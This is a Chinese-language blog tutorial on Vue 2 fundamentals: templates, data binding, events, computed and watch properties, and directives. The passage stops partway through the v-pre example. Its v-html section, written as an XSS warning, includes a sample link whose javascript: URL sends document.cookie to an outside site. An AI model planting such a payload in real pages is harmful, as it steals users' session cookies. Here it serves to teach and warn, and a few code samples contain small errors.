Haoyuan's blog
Haoyuan
2022-07-21
目录

Vue2 - 基础

# 初始 Vue

想让 Vue 工作，就必须创建一个 Vue 实例，且要传入一个配置对象；

  • root 容器里的代码依然符合 html 规范，只不过混入了一些特殊的 Vue 语法
  • root 容器里的代码被称为【Vue 模板】
  • Vue 实例和容器是一一对应的
  • 真实开发中只有一个 Vue 实例，并且会配合着组件一起使用
  • 中的 xxx 要写 js 表达式，且 xxx 可以自动读取到 data 中的所有属性
  • 一旦 data 中的数据发生改变，那么页面中用到该数据的地方也会自动更新

注意区分：js 表达式和 js 代码(语句)

  • 表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方：

    • a
    • a + b
    • demo(1)
    • x === y ? 'a' : 'b'

  • js 代码(语句)

    • if(){}
    • for(){}
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>初识Vue</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器 -->
		<div id="demo">
			<h1>Hello，{{name.toUpperCase()}}，{{address}}</h1>
		</div>

		<script type="text/javascript" >
			Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

			// 创建 Vue 实例
			new Vue({
				el:'#demo', // el 用于指定当前 Vue 实例为哪个容器服务，值通常为 Css 选择器字符串。
				data:{ // data 中用于存储数据，数据供 el 所指定的容器去使用，值我们暂时先写成一个对象。
					name:'youngkbt',
					address:'北京'
				}
			})
		</script>
	</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# 模板语法

Vue 模板语法有 2 大类：

  • 插值语法：
    • 功能：用于解析标签体内容
    • 写法：，xxx 是 js 表达式，且可以直接读取到 data 中的所有属性
  • 指令语法：
    • 功能：用于解析标签（包括：标签属性、标签体内容、绑定事件 ...）
    • 举例：v-bind:href="xxx" 或 简写为 :href="xxx"，xxx 同样要写 js 表达式且可以直接读取到 data 中的所有属性
    • 备注：Vue 中有很多的指令，且形式都是：v-xxxx，此处我们只是拿 v-bind 举个例子

如果想给标签的元素值使用 Vue 的 data，则使用 v-bind: 或者简写 : 语法。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>模板语法</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>插值语法</h1>
			<h3>你好，{{name}}</h3>
			<hr/>
			<h1>指令语法</h1>
			<a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
			<a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'jack',
				school:{
					name:'youngkbt',
					url:'http://www.youngkbt.cn',
				}
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# 数据模板

Vue 中有 2 种数据绑定的方式：

  • 单向绑定(v-bind)：数据只能从 data 流向页面
  • 双向绑定(v-model)：数据不仅能从 data 流向页面，还可以从页面流向 data

备注：

  • 双向绑定一般都应用在表单类元素上（如：input、select 等）
  • v-model:value 可以简写为 v-model，因为 v-model 默认收集的就是 value 值
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>数据绑定</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 普通写法 -->
			<!-- 单向数据绑定：<input type="text" v-bind:value="name"><br/>
			双向数据绑定：<input type="text" v-model:value="name"><br/> -->

			<!-- 简写 -->
			单向数据绑定：<input type="text" :value="name"><br/>
			双向数据绑定：<input type="text" v-model="name"><br/>

			<!-- 如下代码是错误的，因为v-model只能应用在表单类元素（输入类元素）上 -->
			<!-- <h2 v-model:x="name">你好啊</h2> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				name:'youngkbt'
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# data 与 el

  1. el 有 2 种写法

    • new Vue 时候配置 el 属性
    • 先创建 Vue 实例，随后再通过 vm.$mount('#root') 指定 el 的值

  2. data 有 2 种写法

    • 对象式 data:{xxx:xxx} 把数据放在实例对象的本身中，即 this.xx 即可调用
    • 函数式 data(){return{xxx:xxx}}
    • 如何选择：目前哪种写法都可以，以后学习到组件时，data 必须使用函数式，否则会报错

  3. 一个重要的原则：由 Vue 管理的函数，一定 不要写箭头函数，一旦写了箭头函数，this 就不再是 Vue 实例了

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>el与data的两种写法</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>你好，{{name}}</h1>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		// el 的两种写法
		/* const v = new Vue({
			//el:'#root', // 第一种写法
			data:{
				name:'youngkbt'
			}
		})
		v.$mount('#root') //第二种写法 */

		// data 的两种写法
		new Vue({
			el:'#root',
			// data 的第一种写法：对象式
			/* data:{
				name:'youngkbt'
			} */

			// data 的第二种写法：函数式
			data(){
				console.log('@@@',this) // 此处的 this 是 Vue 实例对象
				return{
					name:'youngkbt'
				}
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

# MVVM 模型

MVVM 模型：

  • M：模型(Model) ：data 中的数据
  • V：视图(View) ：模板代码
  • VM：视图模型(ViewModel)：Vue 实例

观察发现：

  • data 中所有的属性，最后都出现在了 vm 身上
  • vm 身上所有的属性及 Vue 原型上所有属性，在 Vue 模板中都可以直接使用。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>理解MVVM</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校名称：{{name}}</h1>
			<h1>学校地址：{{address}}</h1>
			<!-- <h1>测试一下1：{{1+1}}</h1>
			<h1>测试一下2：{{$options}}</h1>
			<h1>测试一下3：{{$emit}}</h1>
			<h1>测试一下4：{{_c}}</h1> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				address:'北京',
			}
		})
		console.log(vm)
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

# 数据代理

数据代理：通过一个对象代理对另一个对象中属性的操作（读/写）。

JavaScript 自带的一个方法可以实现数据代理，即 Object.defineproperty：

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>回顾Object.defineproperty方法</title>
	</head>
	<body>
		<script type="text/javascript" >
			let number = 18
			let person = {
				name:'张三',
				sex:'男',
			}
			Object.defineProperty(person,'age',{
				// value:18,
				// enumerable:true, // 控制属性是否可以枚举，默认值是false
				// writable:true, // 控制属性是否可以被修改，默认值是false
				// configurable:true // 控制属性是否可以被删除，默认值是false

				// 当有人读取 person 的 age 属性时，get 函数(getter)就会被调用，且返回值就是 age 的值
				get(){
					console.log('有人读取age属性了')
					return number
				},

				// 当有人修改 person 的 age 属性时，set 函数(setter)就会被调用，且会收到修改的具体值
				set(value){
					console.log('有人修改了age属性，且值是',value)
					number = value
				}
			})
			console.log(person)
		</script>
	</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

所以我们可以更进一步，当修改一个值，另一个值就会自动被修改。

如下，obj2 一旦被修改，则 obj1 也会被修改。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>何为数据代理</title>
	</head>
	<body>
		<!-- 数据代理：通过一个对象代理对另一个对象中属性的操作（读/写）-->
		<script type="text/javascript" >
			let obj = {x:100}
			let obj2 = {y:200}

			Object.defineProperty(obj2,'x',{
				get(){
					return obj.x
				},
				set(value){
					obj.x = value
				}
			})
		</script>
	</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

上面是 JavaScript 自带的数据代理，而 Vue 中的数据代理是通过 vm 对象来代理 data 对象中属性的操作（读/写），其底层就是封装了 JavaScript 的数据代理。

什么是 Vue 的数据代理？

首先 Vue 的插值语法 {{}} 是直接访问 Vue 实例的属性，而代码的 data 数据是放在 Vue 实例的 _data 里，所以我们只能通过 _data.xxx 获取数据，即

<div id="root">
    <h2>学校名称：{{_data.name}}</h2>
    <h2>学校地址：{{_data.address}}</h2>
</div>
1
2
3
4

但是一旦数据多了起来，就有很多的 _data，这不够优雅，于是 Vue 就做了数据代理，将数据直接代理到 Vue 实例上，可以理解为复制到 Vue 实例上，于是变成了我们平常使用的方式：

<div id="root">
    <h2>学校名称：{{name}}</h2>
    <h2>学校地址：{{address}}</h2>
</div>
1
2
3
4

基本原理：

  • 通过 Object.defineProperty() 把 data 对象中所有属性添加到 vm 上
  • 为每一个添加到 vm 上的属性，都指定一个 getter/setter
  • 在 getter/setter 内部去操作（读/写）data 中对应的属性

Vue 中数据代理的好处：更加方便的操作 data 中的数据。

# 数据劫持

在 data 写的数据会被 Vue 劫持，然后根据数据生成对应的 setter 和 getter，方便实现了数据代理。

# 事件处理

JavaScript 的 function 函数在 Vue 怎么使用呢？data 和数据有关，那么 mehtod 就和函数有关：

<body>
    <div class="box2" @click="showMsg(2)">
        点我提示
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false
    new Vue({
        el:'#root',
        data:{},
        methods:{
            showInfo(e){
                alert('同学你好！')
                console.log(e.target)
            },
            showMsg(msg){
                console.log(msg)
            },
            demo(){
                for (let i = 0; i < 100000; i++) {
                    console.log('#')
                }
                console.log('累坏了')
            }
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

事件的基本使用：

  • 使用 v-on:xxx 或 @xxx 绑定事件，其中 xxx 是事件名
  • 事件的回调需要配置在 methods 对象中，最终会在 vm 上
  • methods 中配置的函数，不要用箭头函数！否则 this 就不是 vm 了
  • methods 中配置的函数，都是被 Vue 所管理的函数，this 的指向是 vm 或组件实例对象
  • @click="demo" 和 @click="demo($event)" 效果一致，但后者可以传参

# 时间修饰符

  • prevent：阻止默认事件（常用）
  • stop：阻止事件冒泡（常用）
  • once：事件只触发一次（常用）
  • capture：使用事件的捕获模式
  • self：只有 event.target 是当前操作的元素时才触发事件
  • passive：事件的默认行为立即执行，无需等待事件回调执行完毕
<body>
    <div id="root">
        <h2>欢迎来到{{name}}学习</h2>
        <!-- 阻止默认事件（常用） -->
        <a href="http://www.youngkbt.com" @click.prevent="showInfo">点我提示信息</a>
        <!-- 阻止事件冒泡（常用） -->
        <div class="demo1" @click="showInfo">
            <button @click.stop="showInfo">点我提示信息</button>
            <!-- 修饰符可以连续写 -->
            <!-- <a href="http://www.youngkbt.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
        </div>
        <!-- 事件只触发一次（常用） -->
        <button @click.once="showInfo">点我提示信息</button>
        <!-- 使用事件的捕获模式 -->
        <div class="box1" @click.capture="showMsg(1)">
            div1
            <div class="box2" @click="showMsg(2)">
                div2
            </div>
        </div>
        <!-- 只有event.target是当前操作的元素时才触发事件； -->
        <div class="demo1" @click.self="showInfo">
            <button @click="showInfo">点我提示信息</button>
        </div>
        <!-- 事件的默认行为立即执行，无需等待事件回调执行完毕； -->
        <ul @wheel.passive="demo" class="list">
            <li>1</li>
            <li>2</li>
            <li>3</li>
            <li>4</li>
        </ul>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false
    new Vue({
        el:'#root',
        data:{
            name:'尚硅谷'
        },
        methods:{
            showInfo(e){
                alert('同学你好！')
                // console.log(e.target)
            },
            showMsg(msg){
                console.log(msg)
            },
            demo(){
                for (let i = 0; i < 100000; i++) {
                    console.log('#')
                }
                console.log('累坏了')
            }
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

# 键盘修饰符

Vue 中常用的按键别名：

  • 回车 => enter
  • 删除 => delete (捕获「删除」和「退格」键)
  • 退出 => esc
  • 空格 => space
  • 换行 => tab (特殊，必须配合 keydown 去使用)
  • 上 => up
  • 下 => down
  • 左 => left
  • 右 => right

Vue 未提供别名的按键，可以使用按键原始的 key 值去绑定，但注意要转为 kebab-case（短横线命名），如切换大小写按键 CapsLock 变成 caps-lock。

系统修饰键（用法特殊）：ctrl、alt、shift、meta

  • 配合 keyup 使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发

  • 配合 keydown 使用：正常触发事件

也可以使用 keyCode 去指定具体的按键（不推荐）。

去定制按键别名：通过 Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>键盘事件</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		Vue.config.keyCodes.huiche = 13 // 定义了一个别名按键

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			},
			methods: {
				showInfo(e){
					// console.log(e.key,e.keyCode)
					console.log(e.target.value)
				}
			},
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# 计算属性 computed

概念：

  • computed 用来监控自己定义的变量，该变量不在 data 里面声明，直接在 computed 里面定义，然后就可以在页面上进行双向数据绑定展示出结果或者用作其他处理
  • computed 比较适合对多个变量或者对象进行处理后返回一个结果值，也就是数多个变量中的某一个值发生了变化则我们监控的这个值也就会发生变化，举例：购物车里面的商品列表和总金额之间的关系，只要商品列表里面的商品数量发生变化，或减少或增多或删除商品，总金额都应该发生变化。这里的这个总金额使用 computed 属性来进行计算是最好的选择

定义：要用的属性不存在，要通过已有属性计算得来，比如只有姓 + 名，可以计算出姓名。

原理：底层借助了 Objcet.defineproperty 方法提供的 getter 和 setter。

getter 函数什么时候执行？

  • 初次读取时会执行一次

  • 当依赖的数据发生改变时会被再次调用

优势：与 methods 实现相比，内部有缓存机制（复用），效率更高，调试方便。

备注

  • 计算属性最终会出现在 vm 上，直接读取使用即可
  • 如果计算属性要被修改，那必须写 setter 函数去响应修改，且 setter 中要引起计算时依赖的数据发生改变
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_计算属性实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓：<input type="text" v-model="firstName"> <br/><br/>
			名：<input type="text" v-model="lastName"> <br/><br/>
			全名：<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三'
			},
			computed:{
				fullName:{
					// get有什么作用？当有人读取 fullName 时，get 就会被调用，且返回值就作为 fullName 的值
					// get 什么时候调用？1. 初次读取 fullName 时。2. 所依赖的数据发生变化时
					get(){
						console.log('get 被调用了')
						return this.firstName + '-' + this.lastName
					},
					// set 什么时候调用? 当 fullName 被修改时。
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				}
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

大部分情况下我们不需要重写 set 的方法，不会用到 get，所以简写如下：

computed:{
    // 完整写法
    /*fullName:{
        get(){
            console.log('get被调用了')
            return this.firstName + '-' + this.lastName
        },
            set(value){
                console.log('set',value)
                const arr = value.split('-')
                this.firstName = arr[0]
                this.lastName = arr[1]
            }
    }*/
    // 简写
    fullName(){
        console.log('get 被调用了')
        return this.firstName + '-' + this.lastName
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# 监视属性 watch

当我们修改某个值后，希望发生页面展示的内容发生改变，那么可以用 watch 对该值进行监视，如果该值变化，就会调用写好的函数，修改内容。

watch 作用：

  • 当被监视的属性变化时, 回调函数自动调用, 进行相关操作

  • 监视的属性必须存在，才能进行监视

  • 默认只监听一层属性，即当前属性值，不会监听当前属性值的内部属性值

  • 监视的两种写法：

    • new Vue 时传入 watch 配置，优点：创建时候即可指定要监听谁

    • 在 new Vue 外界，通过 vm.$watch 监视，优点：创建实例后根据需求再监听，更加灵活

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_监视属性</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
            // 第一种方法
			watch:{
				isHot:{
					immediate:true, // 初始化时让 handler 调用一下
					// handler 什么时候调用？当 isHot 发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				}
			}
		})
		// 第二种方法
		vm.$watch('isHot',{
			immediate:true, // 初始化时让 handler 调用一下
			// handler 什么时候调用？当 isHot 发生改变时。
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

属性功能：

  • immediate：布尔类型，true 和 false

  • 功能：监视的数据初始化立即执行一次 handle 方法

    • handler(new, old) 函数：new 参数是监听属性变化后的新值，old 是监听属性变化前的旧值

      功能：当监听属性变化时，被调用

    • deep：布尔类型，true 和 false，想详细了解，请往下滑，看深度监视内容

      功能：深入多层监听，适用于监听的属性值还有属性值，例子监听 number，number 里有 {a{b:1},c:1}

      原因：如果不加 deep，默认指监听当前的属性值 number，如果 number 属性值内部的属性值变化，handle 不会被触发，因为没有改变 number 值，只是改变了 number 内部的值，除非把整个 number 替换，才会执行 handle 方法

# 深度监视

  • Vue 中的 watch 默认不监测对象内部值的改变（一层）

  • 配置 deep: true 可以监测对象内部值改变（多层）

    • Vue 自身可以监测对象内部值的改变，但 Vue 提供的 watch 默认不可以

    • 使用 watch 时根据数据的具体结构，决定是否采用深度监视

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_深度监视</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
			<hr/>
			<h3>a的值是:{{numbers.a}}</h3>
			<button @click="numbers.a++">点我让a+1</button>
			<h3>b的值是:{{numbers.b}}</h3>
			<button @click="numbers.b++">点我让b+1</button>
			<button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
			{{numbers.c.d.e}}
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
				numbers:{
					a:1,
					b:1,
					c:{
						d:{
							e:100
						}
					}
				}
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			watch:{
				isHot:{
					// immediate:true, // 初始化时让 handler 调用一下
					// handler 什么时候调用？当 isHot 发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				},
				// 监视多级结构中某个属性的变化
				'numbers.a':{
					handler(){
						console.log('a 被改变了')
					}
				}
				//监视多级结构中所有属性的变化
				numbers:{
					deep: true,
					handler(){
						console.log('numbers 改变了')
					}
				}
			}
		})

	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

# 监视简写

有时候我们不需要 immediate、deep 等配置，那么可以进行简写，默认 immediate 为 true，deep 为 false。

watch:{
    // 正常写法
    isHot:{
        // immediate:true, // 初始化时让 handler 调用一下
        // deep:true, // 深度监视
        handler(newValue, oldValue){
            console.log('isHot被修改了',newValue,oldValue)
        }
    },
        // 简写
    isHot(newValue, oldValue){
        console.log('isHot被修改了',newValue,oldValue,this)
    }
}
// 正常写法
vm.$watch('isHot',{
    immediate:true, // 初始化时让 handler 调用一下
    deep:true, // 深度监视
    handler(newValue,oldValue){
        console.log('isHot被修改了',newValue,oldValue)
    }
})

// 简写
vm.$watch('isHot',(newValue,oldValue)=>{
    console.log('isHot被修改了',newValue,oldValue,this)
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# computed 和 watch 区别

computed 和 watch 之间的区别：

  • computed 能完成的功能，watch 都可以完成
  • watch 能完成的功能，computed 不一定能完成，例如：watch 可以进行异步操作

两个重要的小原则：

  • 所被 Vue 管理的函数，最好写成普通函数，这样 this 的指向才是 vm 或组件实例对象
  • 所有不被 Vue 所管理的函数（定时器的回调函数、ajax 的回调函数等、Promise 的回调函数），最好写成箭头函数，这样 this 的指向才是 vm 或组件实例对象

# v- 指令

# 绑定指令

  • v-bind 或者 : 把绑定的属性当作 JS 表达式处理，不再是字符串

  • v-on 或者 @ 绑定的是方法

    <div @click="mood"></div>
    1

class 样式

写法：class="xxx"，xxx 可以是字符串、对象、数组。

  • 字符串写法适用于：类名不确定，要动态获取
  • 对象写法适用于：要绑定多个样式，个数不确定，名字也不确定
  • 数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用

style 样式

写法 1：:style="{fontSize: xxx}"，其中 xxx 是动态值。

写法 2：:style="[a,b]" 其中 a、b 是样式对象。

<div id="root">
    <!-- 绑定 class 样式--字符串写法，适用于：样式的类名不确定，需要动态指定 -->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>

    <!-- 绑定 class 样式--数组写法，适用于：要绑定的样式个数不确定、名字也不确定 -->
    <div class="basic" :class="classArr">{{name}}</div> <br/><br/>

    <!-- 绑定 class 样式--对象写法，适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用 -->
    <div class="basic" :class="classObj">{{name}}</div> <br/><br/>

    <!-- 绑定 style 样式--对象写法 -->
    <div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
    <!-- 绑定 style 样式--数组写法 -->
    <div class="basic" :style="styleArr">{{name}}</div>
</div>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 条件指令

v-if

写法：

v-if="表达式" 
v-else-if="表达式"
v-else="表达式"
1
2
3

适用于：切换频率较低的场景。

特点：不展示的 DOM 元素直接被移除。

注意：v-if 可以和 v-else-if、v-else 一起使用，但要求结构不能被「打断」。

v-show

写法：v-show="表达式"

适用于：切换频率较高的场景。

特点：不展示的 DOM 元素未被移除，仅仅是使用 display 样式隐藏掉。

备注：使用 v-if 的时，元素可能无法获取到，而使用 v-show 一定可以获取到。

# 列表指令

v-for

  • 用于展示列表数据
  • 语法：v-for="(item, index) in xxx" :key="yyy"，item 为遍历的当前值，index 为遍历的当前索引
  • 可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本列表</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表（遍历数组）</h2>
			<ul>
				<li v-for="(p, index) of persons" :key="index">
					{{p.name}}-{{p.age}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					]
				}
			})
		</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# 文本指令

v-text

  • 作用：向其所在的节点中渲染文本内容
  • 与插值语法的区别：v-text 会替换掉节点中的内容，{{ xx }} 则不会
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好，{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊！</h3>'
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# 页面指令

v-html

  • 作用：向指定节点中渲染包含 html 结构的内容
  • 与插值语法的区别：
    1. v-html 会替换掉节点中所有的内容，{{ xx }} 则不会
    2. v-html 可以识别 html 结构
  • 严重注意：v-html 有安全性问题
    1. 在网站上动态渲染任意 HTML 是非常危险的，容易导致 XSS 攻击
    2. 一定要在可信的内容上使用 v-html，永不要用在用户提交的内容上
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>	
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好，{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊！</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# 其他指令

v-cloak

  • 本质是一个特殊属性，Vue 实例创建完毕并接管容器后，会删掉 v-cloak 属性
  • 使用 css 配合 v-cloak 可以解决网速慢时页面展示出 {{ xxx }} 的问题
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

v-once

  • v-once 所在节点在初次动态渲染后，就视为静态内容了
  • 以后数据的改变不会引起 v-once 所在结构的更新，可以用于优化性能
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

v-pre

  • 跳过其所在节点的 Vue 编译过程

  • 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

  • 如果在用到插入语法的节点使用，Vue 不会去编译该节点，默认以原生 HTML 显示

​ 如下：Vue 会跳过 v-pre 的标签，提高效率

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
